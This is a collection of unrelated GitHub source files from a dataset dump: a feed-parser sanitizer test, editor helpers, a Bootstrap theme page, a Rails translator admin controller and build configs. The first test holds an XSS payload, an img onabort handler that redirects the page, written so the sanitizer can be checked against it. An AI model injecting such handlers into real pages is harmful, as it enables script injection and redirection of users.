text
stringlengths 2
100k
| meta
dict |
---|---|
<!--
Description: feed subtitle contains onabort
Expect: bozo and feed['tagline'] == u'<img src="http://www.ragingplatypus.com/i/cam-full.jpg" />'
-->
<feed version="0.3" xmlns="http://purl.org/atom/ns#">
<subtitle type="text/html" mode="escaped"><img src="http://www.ragingplatypus.com/i/cam-full.jpg" onabort="location.href='http://www.ragingplatypus.com/';" /></subtitle>
</feed | {
"pile_set_name": "Github"
} |
'use strict'
define ['./editor', './editorSupport'], (Editor, EditorSupport)->
{
editorForToolbar
} = EditorSupport
saveFile = (editor)->
url = URL.createObjectURL new Blob [editor.getText()], type: 'application.octet-stream'
l = $("<a download='#{editor.options.data.loadName}' href='#{url}'></a>").appendTo document.body
l[0].click()
l.remove()
setTimeout (-> URL.revokeObjectURL url), 250
loadFile = (editor)->
i = $("<input type='file'></input>").appendTo document.body
i[0].onchange = (e)->
file = e.target.files[0]
reader = new FileReader()
reader.onload = ->
console.log "loaded"
editor.options.load file.name, reader.result
reader.readAsText file
i[0].click()
i.remove()
saveToBrowser = (e)->
reloadFromBrowser = (e)->
removeFromBrowser = (e)->
{
saveFile
loadFile
saveToBrowser
reloadFromBrowser
removeFromBrowser
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Graymor Bootstrap 4 Theme Full Screen</title>
<meta name="description" content="Graymor is a free, open source Bootstrap 4 theme" />
<meta name="generator" content="Themestr.app">
<link rel="icon" href="http://themes.guide/favicon.ico" type="image/x-icon" />
<link rel="shortcut icon" href="http://themes.guide/favicon.ico" type="image/x-icon" />
<meta property="og:image" name="twitter:image" content="http://bootstrap.themes.guide/assets/ss_graymor.png">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:site" content="@ThemesGuide">
<meta name="twitter:creator" content="@ThemesGuide">
<meta name="twitter:title" content="Open-source Bootstrap 4 Themes">
<meta name="twitter:description" content="Download Graymor - free, open source Bootstrap 4 theme by Themes.guide">
<link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdnjs.cloudflare.com/ajax/libs/ionicons/3.0.0/css/ionicons.css" rel="stylesheet">
<link href="./theme.css" rel="stylesheet">
<link href="./template.css" rel="stylesheet">
</head>
<body data-spy="scroll" data-target="#navbar1" data-offset="60">
<header class="bg-primary">
<div class="container h-100">
<div class="row h-100">
<div class="col-12">
<div class="text-center m-0 vh-100 d-flex flex-column justify-content-center text-light">
<h1 class="display-4">Graymor</h1>
<p class="lead">Square corners with shades of gray and sea green.</p>
<div class="row">
<div class="col-lg-4 col-sm-6 mx-auto">
<div class="input-group mb-3">
<input type="text" class="form-control form-control-lg" placeholder="your@email">
<div class="input-group-append">
<button class="btn btn-outline-light btn-lg rounded-right" type="button">Sign-up</button>
</div>
</div>
</div>
</div>
<div class="mt-2 mx-auto">
<div class="btn-group">
<a href="theme.css" class="btn btn-outline-light btn-lg">
Download Theme
</a>
<button type="button" class="btn btn-lg btn-outline-light dropdown-toggle dropdown-toggle-split" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Downloads</span>
</button>
<div class="dropdown-menu">
<a class="dropdown-item" href="theme.css">theme.css</a>
<a class="dropdown-item" href="theme.min.css">theme.min.css</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="theme.scss">theme.scss</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" target="new" href="https://github.com/ThemesGuide/bootstrap-themes/tree/master/graymor">Full template</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</header>
<nav class="navbar fixed-top navbar-expand-lg navbar-dark bg-primary" id="navbar1">
<div class="container">
<a class="navbar-brand mr-1 mb-1 mt-0" href="../">Tophat</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#collapsingNavbar">
<span class="navbar-toggler-icon"></span>
</button>
<div class="navbar-collapse collapse justify-content-center" id="collapsingNavbar">
<ul class="navbar-nav">
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="themesDd" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
Themes
</a>
<div class="dropdown-menu" aria-labelledby="themesDd">
<a class="dropdown-item px-2 " href="../wandoo">Wandoo</a>
<a class="dropdown-item px-2 active" href="../graymor">Graymor</a>
<a class="dropdown-item px-2 " href="../lymcha">Lymcha</a>
<a class="dropdown-item px-2 " href="../deeply">Deeply</a>
<a class="dropdown-item px-2 " href="../mickie">Mickie</a>
<a class="dropdown-item px-2 " href="../electro">Electro</a>
<a class="dropdown-item px-2 " href="../hollar">Hollar</a>
<a class="dropdown-item px-2 " href="../minco">Minco</a>
<a class="dropdown-item px-2 " href="../skeeblu">Skeeblu</a>
<a class="dropdown-item px-2 " href="../preptor">Preptor</a>
<a class="dropdown-item px-2 " href="../monotone">Monotone</a>
<a class="dropdown-item px-2 " href="../sunset">Sunset</a>
<a class="dropdown-item px-2" href="https://themestr.app/" rel="nofollow" target="_new" title="Bootstrap theme builder">Build your own...</a>
</div>
</li>
</ul>
<ul class="navbar-nav ml-auto">
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="layoutDd" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
Layouts
</a>
<div class="dropdown-menu" aria-labelledby="layoutDd">
<a class="dropdown-item px-2" href="./">Default</a>
<a class="dropdown-item px-2" href="./template2.html">Layout 2</a>
<a class="dropdown-item px-2" href="./template3.html">Layout 3</a>
</div>
</li>
<li class="nav-item">
<a class="nav-link" href="#buttons">Buttons</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#navs">Navs</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#cards">Cards</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#modals">Modals</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#typography">Typography</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#forms">Forms</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#grid">Grid</a>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="navbarDd" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
More
</a>
<div class="dropdown-menu dropdown-menu-right" aria-labelledby="navbarDd">
<a class="dropdown-item px-2" href="#more">Badges</a>
<a class="dropdown-item px-2" href="#more">Tooltips & Popups</a>
<a class="dropdown-item px-2" href="#more">Progress & Alerts</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item px-2" href="#more">All</a>
</div>
</li>
</ul>
</div>
</div>
</nav>
<main>
<section class="container">
<div class="row vh-100">
<div class="col-12 my-auto">
<div class="row text-center">
<div class="col-lg-4 mb-4">
<div class="card h-100">
<div class="card-body d-flex flex-column justify-content-center align-items-center">
<h1 class="display-2 text-primary"><span class="ion ion-ios-snow-outline"></span></h1>
<h4 class="card-title text-primary">Unique</h4>
<p class="card-text">Don't like that typical Bootstrap look? Each theme has a custom look-and-feel, while maximizing use of Bootstrap without extensive additional CSS & JS.</p>
<a href="#" class="btn btn-primary mt-auto">Button</a>
</div>
</div>
</div>
<div class="col-lg-4 mb-4">
<div class="card h-100">
<div class="card-body d-flex flex-column justify-content-center align-items-center">
<h1 class="display-2 text-primary"><span class="ion ion-ios-tablet-portrait-outline"></span></h1>
<h4 class="card-title text-primary">Responsive</h4>
<p class="card-text">Based on mobile-first Bootstrap 4, all themes are 100% responsive and designed to look great on everything from smartphones to tablets to desktops..</p>
<a href="#" class="btn btn-primary mt-auto">Button</a>
</div>
</div>
</div>
<div class="col-lg-4 mb-4">
<div class="card h-100">
<div class="card-body d-flex flex-column justify-content-center align-items-center">
<h1 class="display-2 text-primary"><span class="ion ion-ios-checkmark-circle-outline"></span></h1>
<h4 class="card-title text-primary">Consistent</h4>
<p class="card-text">Themes are crafted with care for design and performance. All themes are built on modern HTML5 & CSS3 standards to ensure consistency and cross-browser support.</p>
<a href="#" class="btn btn-primary mt-auto">Button</a>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section id="buttons" class="pb-5">
<div class="container">
<div class="row">
<div class="col-md-9">
<div class="pb-3">
<button type="button" class="btn btn-primary mr-1">Primary #2F3C48</button>
<button type="button" class="btn btn-outline-primary">Outline</button>
</div>
<div class="pb-3">
<button type="button" class="btn btn-primary align-bottom btn-lg mr-1">Large</button>
<button type="button" class="btn btn-primary align-bottom mr-1">Normal</button>
<button type="button" class="btn btn-primary align-bottom btn-sm mr-1">Small</button>
<a href="#" class="text-primary">Text</a>
</div>
</div>
<div class="col-md d-none d-sm-block">
<h4>Code Explorer</h4>
<p>
Just hover over any of the Bootstrap
components, and click the
<span class="d-inline-block rounded border align-middle pb-1 px-1 small"><small><></small></span>
to view or copy the HTML markup for that element.
</p>
</div>
</div>
<div class="row py-2">
<div class="col-md-auto col-3">
<button class="btn btn-outline-secondary">Secondary</button>
</div>
<div class="col-md-auto col-3">
<button class="btn btn-outline-info">Info</button>
</div>
<div class="col-md-auto col-3">
<button class="btn btn-outline-danger">Danger</button>
</div>
<div class="col-md-auto col-3">
<button class="btn btn-outline-success">Success</button>
</div>
<div class="col-md-auto col-3">
<button class="btn btn-outline-warning">Warning</button>
</div>
<div class="col-md-auto col-3">
<button class="btn btn-outline-light">Light</button>
</div>
<div class="col-md-auto col-3">
<button class="btn btn-outline-dark">Dark</button>
</div>
</div>
<div class="row py-2">
<div class="col-md-auto col-3">
<button class="btn btn-secondary">Secondary</button>
</div>
<div class="col-md-auto col-3">
<button class="btn btn-info">Info</button>
</div>
<div class="col-md-auto col-3">
<button class="btn btn-danger">Danger</button>
</div>
<div class="col-md-auto col-3">
<button class="btn btn-success">Success</button>
</div>
<div class="col-md-auto col-3">
<button class="btn btn-warning">Warning</button>
</div>
<div class="col-md-auto col-3">
<button class="btn btn-light">Light</button>
</div>
<div class="col-md-auto col-3">
<button class="btn btn-dark">Dark</button>
</div>
</div>
</div>
</section>
<section id="navs" class="container pb-5">
<div class="row">
<div class="col-xl-9 pb-4">
<nav class="navbar navbar-expand-md navbar-dark bg-primary mb-2">
<a class="navbar-brand" href="#">Light text</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarColor02" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarColor02">
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a class="nav-link" href="#" title="Current breakpoint tier">
Tier
<span class="d-xl-inline d-none">XL</span>
<span class="d-lg-inline d-xl-none d-none">LG</span>
<span class="d-md-inline d-lg-none d-none">MD</span>
<span class="d-sm-inline d-md-none d-none">SM</span>
<span class="d-inline d-sm-none">XS</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">About</a>
</li>
</ul>
</div>
</nav>
<nav class="navbar navbar-expand-md navbar-light bg-primary mb-3">
<a class="navbar-brand" href="#">Dark text</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarColor03" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarColor03">
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a class="nav-link" href="#">Link</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">About</a>
</li>
</ul>
</div>
</nav>
<div class="card border-0">
<ul class="nav nav-tabs">
<li class="nav-item">
<a class="nav-link active" href="#tab1" data-toggle="tab">Tab</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#tab2" data-toggle="tab">Tab</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#tab3" data-toggle="tab">Tab</a>
</li>
<li class="nav-item">
<a class="nav-link disabled" href="#tab4" data-toggle="tab">Disabled</a>
</li>
</ul>
<div class="tab-content px-1 pt-3">
<div class="tab-pane active" id="tab1">
Select a palette, change the <span class="text-primary ">primary</span>, <span class="text-secondary ">secondary</span>,
<span class="text-success ">success</span>, <span class="text-danger ">danger</span>,
<span class="text-info ">info</span>, and <span class="text-warning ">warning</span> colors.
Choose from various Google Fonts, and modify most of the Bootstrap SASS variables. Click to generate your completely custom
Bootstrap theme.
</div>
<div class="tab-pane" id="tab2">
The whole idea is to make the Bootstrap customization process easier, and allow you to visualize changes along the way.
For most users it's designed to be point-and-click, while advanced users can delve into the SASS as desired. It's a 4-step process.
</div>
<div class="tab-pane" id="tab3">3. Put some more content in your pane here.</div>
</div>
</div>
</div>
<div class="col-xl-3 pb-4">
<ul class="nav nav-pills flex-column mb-3">
<li class="nav-item">
<a class="nav-link active" href="#">Active</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">Link</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">Link</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">Link</a>
</li>
<li class="nav-item">
<a class="nav-link disabled" href="#">Disabled</a>
</li>
</ul>
<div class="btn-group mb-3 w-100">
<button type="button" class="btn btn-primary btn-block">Dropdown</button>
<button type="button" class="btn btn-primary dropdown-toggle dropdown-toggle-split" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
<span class="sr-only">Toggle Dropdown</span>
</button>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="#">Action</a>
<a class="dropdown-item" href="#">Link</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Separated link</a>
</div>
</div>
</div>
</div>
</section>
<section id="cards" class="container pb-5">
<div class="d-flex my-3">
<div class="jumbotron w-100 py-5 mx-auto">
<h1>Get Themestr.app</h1>
<h4>Theme Builder for Bootstrap</h4>
<p class="lead">
Rapidy build custom themes for Bootstrap, the world's most
popular front-end component library for mobile-first,
responsive Web apps. <a class="font-weight-bold" href="https://themestr.app">Themestr.app</a> is a customizer and theme creator for Bootstrap.
Choose from a huge collection of color palettes, fonts and SASS variables. Prototype different styles, and
easily generate CSS from SASS to give your projects a unique look-and-feel.
</p>
</div>
</div>
<div class="row">
<div class="col-lg-4 mb-4">
<div class="card border-primary h-100">
<div class="card-body d-flex flex-column align-items-start">
<h4 class="card-title text-primary">Card Outline</h4>
<p class="card-text">Themestr.app makes it easy to customize this, and other free Bootstrap 4 themes for your downloading pleasure.</p>
<a href="#" class="btn btn-primary mt-auto">Button</a>
</div>
</div>
</div>
<div class="col-lg-4 mb-4">
<div class="card border-primary h-100">
<div class="card-body">
<div class="list-group">
<a href="#" class="list-group-item list-group-item-action active">Dis List Group</a>
<a href="#" class="list-group-item list-group-item-action">Custom Colors</a>
<a href="#" class="list-group-item list-group-item-action">Google Fonts</a>
<a href="#" class="list-group-item list-group-item-action disabled">Ionicons</a>
</div>
</div>
</div>
</div>
<div class="col-lg-4 mb-4">
<div class="card bg-primary text-white h-100">
<div class="card-body d-flex flex-column align-items-start">
<h4 class="card-title">Scrollspy</h4>
<p class="card-text">The top NavBar utilizes Bootstrap's Scrollspy component. You'll notice when you scroll the page the "active" nav section is highlighted.</p>
<a href="https://getbootstrap.com/docs/4.1/components/scrollspy/" class="btn btn-primary border-white mt-auto">Read More</a>
</div>
</div>
</div>
</div>
</section>
<section id="modals" class="container pb-5">
<div class="row">
<div class="col-md-12">
<div class="container-fluid">
<div class="position-relative" style="z-index:1000">
<div id="myModal" class="modal d-block position-relative" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h3>Modal</h3>
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
</div>
<div class="modal-body">
<p>This is a basic Bootstrap 4 modal. The modal also comes in a <a href="#modal-sm" data-toggle="modal">smaller</a> and <a href="#modal-lg" data-toggle="modal">larger</a> sizes.</p>
<p>
What will you put in your modal? Lorem ipsum dolor sit amet, consectetur adipiscing elit.
in sagittis nisi. Sed ac orci quis tortor imperdiet venenatis. Duis elementum auctor accumsan. Aliquam in felis sit amet augue.
</p>
</div>
<div class="modal-footer">
<button class="btn" data-dismiss="alert" aria-hidden="true">Close</button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-md-9"></div>
</div>
</section>
<section id="typography" class="container pb-5">
<div class="row">
<div class="col-12">
<h4><a target="_new" href="https://fonts.google.com/specimen/Oswald">Oswald</a></h4>
</div>
<div class="col-xl-4">
<h6>Heading 6</h6>
<h5>Heading 5</h5>
<h4>Heading 4</h4>
<h3 class="text-truncate">Heading 3</h3>
<h2 class="text-truncate">Heading 2</h2>
<h1 class="text-truncate">Heading 1</h1>
<p class="lead">Lead</p>
<p>Paragraph</p>
<span class="badge badge-dark">badge</span>
</div>
<div class="col-xl-8 text-right">
<p class="display-4 text-truncate">Display 4</p>
<p class="display-3 text-truncate">Display 3</p>
<p class="display-2 text-truncate">Display 2</p>
<p class="display-1 text-truncate">Display 1</p>
</div>
</div>
</section>
<section id="forms" class="container pb-5">
<div class="row">
<div class="col-md-12">
<form role="form">
<div class="form-group row">
<label class="col-md-2 col-form-label form-control-label text-muted">First</label>
<div class="col-md-4">
<input class="form-control" type="text" value="Jane">
</div>
<label class="col-md-1 col-form-label form-control-label text-muted">Last</label>
<div class="col-md-5">
<input class="form-control" type="text" value="Bishop">
</div>
</div>
<div class="form-group row">
<label class="col-lg-2 col-form-label form-control-label text-muted">Address</label>
<div class="col-lg-10">
<input class="form-control" type="text" placeholder="Street">
</div>
</div>
<div class="form-group row">
<label class="col-lg-2 col-form-label form-control-label text-muted"></label>
<div class="col-lg-6">
<input class="form-control" type="text" placeholder="City">
</div>
<div class="col-lg-4">
<select class="form-control">
<option>State</option>
<option>AK</option>
<option>AZ</option>
<option>CA</option>
<option>CO</option>
</select>
</div>
</div>
<div class="form-group row was-validated">
<label class="col-lg-2 col-form-label form-control-label text-muted">Username</label>
<div class="col-lg-10">
<input class="form-control" type="text" required="" id="un" name="un">
<div class="invalid-feedback">
Username is required.
</div>
</div>
</div>
<div class="form-group row">
<label class="col-lg-2 col-form-label form-control-label"></label>
<div class="col-lg-10">
<input type="reset" class="btn btn-outline-secondary mr-2" value="Cancel">
<input type="button" class="btn btn-primary mr-2" value="Submit">
<div class="custom-control custom-checkbox d-inline">
<input type="checkbox" class="custom-control-input" id="customCheck" checked>
<label class="custom-control-label" for="customCheck">Check me out</label>
</div>
</div>
</div>
</form>
</div>
</div>
</section>
<section id="grid" class="container pb-5">
<p class="lead">The rows & columns of the world famous Bootstrap grid speak for themselves.</p>
<div class="row">
<div class="col-sm-6">
6
</div>
<div class="col-6">
<div class="card my-1 bg-light">6</div>
</div>
<div class="col-sm-5">
5
</div>
<div class="col-7">
<div class="card my-1">7</div>
</div>
<div class="col-sm-4">
4
</div>
<div class="col-8">
<div class="card my-1">8</div>
</div>
<div class="col-sm-3">
3
</div>
<div class="col-9">
<div class="card my-1">9</div>
</div>
<div class="col-sm-2">
2
</div>
<div class="col-10">
<div class="card my-1">10</div>
</div>
<div class="col-sm-1">
1
</div>
<div class="col-11">
<div class="card my-1">11</div>
</div>
</div>
</section>
<section id="more" class="container pb-5">
<div class="row">
<div class="col-md-12">
<div class="table-responsive">
<table class="table table-hover table-sm">
<tbody>
<tr>
<th class="w-25">Location</th>
<th class="w-50">Date</th>
<th class="w-25">Visits</th>
</tr>
<tr>
<td>Westfield</td>
<td>08.05.18 <span class="badge badge-primary">badge</span></td>
<td>2323</td>
</tr>
<tr>
<td>Galway</td>
<td>08.05.18 <span class="badge badge-pill badge-primary">badge-pill</span></td>
<td>5362</td>
</tr>
<tr class="table-primary">
<td>Bern</td>
<td>08.05.18</td>
<td>153</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="w-100 my-4"></div>
<div class="col-md-8">
<a href="#" class="text-primary" data-toggle="tooltip" data-placement="right" title="This tooltip is on the right.">Right tooltip (hover)</a>
<br>
<a href="#" class="text-primary" data-toggle="tooltip" data-placement="bottom" title="This tooltip is on the bottom.">Bottom tooltip (hover)</a>
<br>
</div>
<div class="col-md-4 text-right">
<!--
<div class="px-4 p-2 rounded bg-primary text-light" data-toggle="popover" title="Popover title" data-content="And here's some amazing content. It's very engaging. Right?">
Toggle my popover
</div>-->
<button type="button" class="btn btn-lg btn-primary" data-toggle="popover" title="Popover title" data-content="And here's some amazing content. It's very engaging. Right?">Toggle my popover</button>
</div>
<div class="w-100 my-4"></div>
<div class="col-md-12">
<div class="progress mb-2">
<div class="progress-bar bg-primary w-25" role="progressbar" aria-valuenow="25" aria-valuemin="0" aria-valuemax="100"> </div>
</div>
</div>
<div class="col-md-12">
<div class="alert alert-primary alert-dismissable show fade" role="alert">
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
<strong>Well done!</strong> You successfully read this important alert message.
</div>
</div>
<div class="w-100 my-4"></div>
</div>
</section>
</main>
<footer id="footer" class="bg-dark text-light py-5">
<div class="container py-5">
<div class="row">
<div class="col-6 col-md-6 col-lg-3 mb-2">
<h6 class="text-uppercase">Tools</h6>
<ul class="nav flex-column">
<li><a class="text-white" target="ext" rel="nofollow" href="https://themestr.app/" title="Bootstrap theme builder">Themestr.app</a></li>
<li><a class="text-white" target="ext" rel="nofollow" href="http://themes.guide" title="Bootstrap free and pro themes">Themes.guide</a></li>
<li><a class="text-white" target="ext" rel="nofollow" href="http://codeply.com" title="Prototype and edit code for Bootstrap and other responsive frameworks">Codeply</a></li>
<li><a class="text-white" target="ext" rel="nofollow" href="http://bootply.com">Bootply</a></li>
</ul>
</div>
<div class="col-6 col-md-6 col-lg-3 mb-2">
<h6 class="text-uppercase">More</h6>
<ul class="nav flex-column">
<li><a class="text-white" target="_new" href="http://wdstack.com" title="The top projects, tools and apps for Web developers">WDStack</a></li>
<li><a class="text-white" target="_new" href="http://theme.cards">Theme.cards</a></li>
<li><a class="text-white" target="_new" href="http://icodedis.tool.cards">I Code Dis</a></li>
<li><a class="text-white" target="_new" title="Learn about Bootstrap 4 using this free theme" href="http://bootstrap4.guide">Bootstrap4.guide</a></li>
</ul>
</div>
<div class="col-12 col-md-12 col-lg-6 mb-2 text-right">
<h6 class="text-uppercase">Follow</h6>
<ul class="nav float-right">
<li><a class="text-white mr-2" rel="nofollow" href="http://twitter.com/ThemesGuide" title="Follow on Twitter"><i class="h1 fa fa-fw fa-twitter fa-2x ion-logo-twitter"></i></a></li>
<li><a class="text-white mr-2" rel="nofollow" href="https://www.facebook.com/codeply" title="Follow on Facebook"><i class="h1 fa fa-fw fa-facebook fa-2x ion-logo-facebook"></i></a></li>
<li><a class="text-white mr" rel="nofollow" href="https://github.com/ThemesGuide/bootstrap-themes" title="Follow on GitHub"><i class="h1 fa fa-fw fa-facebook fa-2x ion-logo-github"></i></a></li>
</ul>
</div>
</div>
<!--/row-->
</div>
</footer>
<script src="//ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/popper.js/1.13.0/umd/popper.min.js"></script>
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="scripts.js"></script>
</body>
</html> | {
"pile_set_name": "Github"
} |
require('../../modules/es6.string.strike');
module.exports = require('../../modules/_core').String.strike; | {
"pile_set_name": "Github"
} |
import * as React from 'react';
declare class JqxComplexInput extends React.PureComponent<IComplexInputProps, IState> {
protected static getDerivedStateFromProps(props: IComplexInputProps, state: IState): null | IState;
private _jqx;
private _id;
private _componentSelector;
constructor(props: IComplexInputProps);
componentDidMount(): void;
componentDidUpdate(): void;
render(): React.ReactNode;
setOptions(options: IComplexInputProps): void;
getOptions(option: string): any;
destroy(): void;
getDecimalNotation(part: string, decimalNotation: string): string;
getReal(complexnumber?: number): number;
getImaginary(complexnumber?: number): number;
renderWidget(): void;
refresh(): void;
val(value?: any): any;
private _manageProps;
private _wireEvents;
}
export default JqxComplexInput;
export declare const jqx: any;
export declare const JQXLite: any;
interface IState {
lastProps: object;
}
interface IComplexInputOptions {
decimalNotation?: 'default' | 'exponential' | 'scientific' | 'engineering';
disabled?: boolean;
height?: string | number;
placeHolder?: string;
roundedCorners?: boolean;
rtl?: boolean;
spinButtons?: boolean;
spinButtonsStep?: number;
template?: 'default' | 'primary' | 'success' | 'warning' | 'danger' | 'info';
theme?: string;
value?: string;
width?: string | number;
}
export interface IComplexInputProps extends IComplexInputOptions {
className?: string;
style?: React.CSSProperties;
onChange?: (e?: Event) => void;
}
| {
"pile_set_name": "Github"
} |
17
charge = 0
C 2.474758 1.573462 -0.035756
C 2.178991 0.103858 -0.066405
C 1.345680 -0.476521 0.792032
C 2.841341 -0.685910 -1.138624
C 2.131888 -1.175603 -2.160714
C 4.284268 -0.913679 -1.069564
C 5.056774 -0.666746 -0.013796
H 1.990933 2.055509 0.814947
H 2.117322 2.049418 -0.954382
H 3.549236 1.764823 0.016407
H 0.847131 0.097458 1.566230
H 1.143886 -1.540466 0.749205
H 1.061815 -1.022180 -2.229206
H 2.610491 -1.742163 -2.952818
H 4.728942 -1.349093 -1.961565
H 4.651237 -0.256726 0.904785
H 6.117497 -0.885450 -0.032486 | {
"pile_set_name": "Github"
} |
function invk(obj, member) {
if (!member in obj)
throw new Error("No such member: " + member);
return obj[member]();
} | {
"pile_set_name": "Github"
} |
#--
# Copyright (c) 2010-2013 Michael Berkovich, tr8nhub.com
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#++
class Tr8n::Admin::TranslatorController < Tr8n::Admin::BaseController
def index
@translators = Tr8n::Translator.filter(:params => params, :filter => Tr8n::TranslatorFilter)
end
def view
@translator = Tr8n::Translator.find(params[:id])
redirect_to(:action => :index) unless @translator
klass = {
:applications => Tr8n::ApplicationTranslator,
:assignments => Tr8n::ComponentTranslator,
:metrics => Tr8n::TranslatorMetric,
:languages => Tr8n::LanguageUser,
:translations => Tr8n::Translation,
:votes => Tr8n::TranslationVote,
:locks => Tr8n::TranslationKeyLock,
:following => Tr8n::TranslatorFollowing,
:messages => Tr8n::LanguageForumMessage,
:reports => Tr8n::TranslatorReport,
:activity => Tr8n::TranslatorLog,
}[params[:mode].to_sym] if params[:mode]
klass ||= Tr8n::TranslatorLog
if params[:mode] == "languages"
filter = {"wf_c0" => "user_id", "wf_o0" => "is", "wf_v0_0" => @translator.user_id}
extra_params = {:user_id => @translator.user_id, :mode => params[:mode]}
else
filter = {"wf_c0" => "translator_id", "wf_o0" => "is", "wf_v0_0" => @translator.id}
extra_params = {:translator_id => @translator.id, :mode => params[:mode]}
end
@results = klass.filter(:params => params.merge(filter))
@results.wf_filter.extra_params.merge!(extra_params)
end
def delete
params[:translators] = [params[:translator_id]] if params[:translator_id]
if params[:translators]
params[:translators].each do |translator_id|
translator = Tr8n::Translator.find_by_id(translator_id)
translator.destroy if translator
end
end
redirect_to_source
end
def block
@translator = Tr8n::Translator.find(params[:translator_id])
@translator.block!(tr8n_current_user, params[:reason])
redirect_to_source
end
def unblock
@translator = Tr8n::Translator.find(params[:translator_id])
@translator.unblock!(tr8n_current_user, params[:reason])
redirect_to_source
end
def update_level
@translator = Tr8n::Translator.find(params[:translator_id])
@translator.update_level!(tr8n_current_user, params[:new_level], params[:reason])
redirect_to_source
end
def demote
@translator = Tr8n::Translator.find(params[:translator_id])
@translator.demote!(tr8n_current_user, params[:reason])
redirect_to_source
end
def update_stats
Tr8n::Translator.all.each do |trans|
trans.update_total_metrics!
end
redirect_to :action => :index
end
def lb_register
@translator = Tr8n::Translator.new
render_lightbox
end
def register
user_class = Tr8n::Config.site_info[:user_info][:class_name]
user = user_class.constantize.find_by_id(params[:translator][:user_id])
unless user
return redirect_to_source
end
translator = Tr8n::Translator.find_by_user_id(user.id)
if translator
return redirect_to_source
end
Tr8n::Translator.create(:user_id => params[:translator][:user_id])
redirect_to_source
end
def following
@following = Tr8n::TranslatorFollowing.filter(:params => params, :filter => Tr8n::TranslatorFollowingFilter)
end
def reports
@reports = Tr8n::TranslatorReport.filter(:params => params, :filter => Tr8n::TranslatorReportFilter)
end
def log
@logs = Tr8n::TranslatorLog.filter(:params => params, :filter => Tr8n::TranslatorLogFilter)
end
def metrics
@metrics = Tr8n::TranslatorMetric.filter(:params => params, :filter => Tr8n::TranslatorMetricFilter)
end
def ip_locations
@ip_locations = Tr8n::IpLocation.filter(:params => params, :filter => Tr8n::IpLocationFilter)
end
def generate_access_key
@translator = Tr8n::Translator.find(params[:translator_id])
redirect_to(:action => :index) unless @translator
@translator.generate_access_key!(tr8n_current_user)
redirect_to_source
end
end
| {
"pile_set_name": "Github"
} |
version: 2
jobs:
test:
working_directory: /go/src/github.com/goccy/go-yaml
docker:
- image: circleci/golang:1.12
environment:
GO111MODULE: "on"
steps:
- checkout
- run:
name: Download modules
command: |
go mod download
- run:
name: Run unit tests and measure coverage
command: |
go test -v -coverprofile=coverage.out ./...
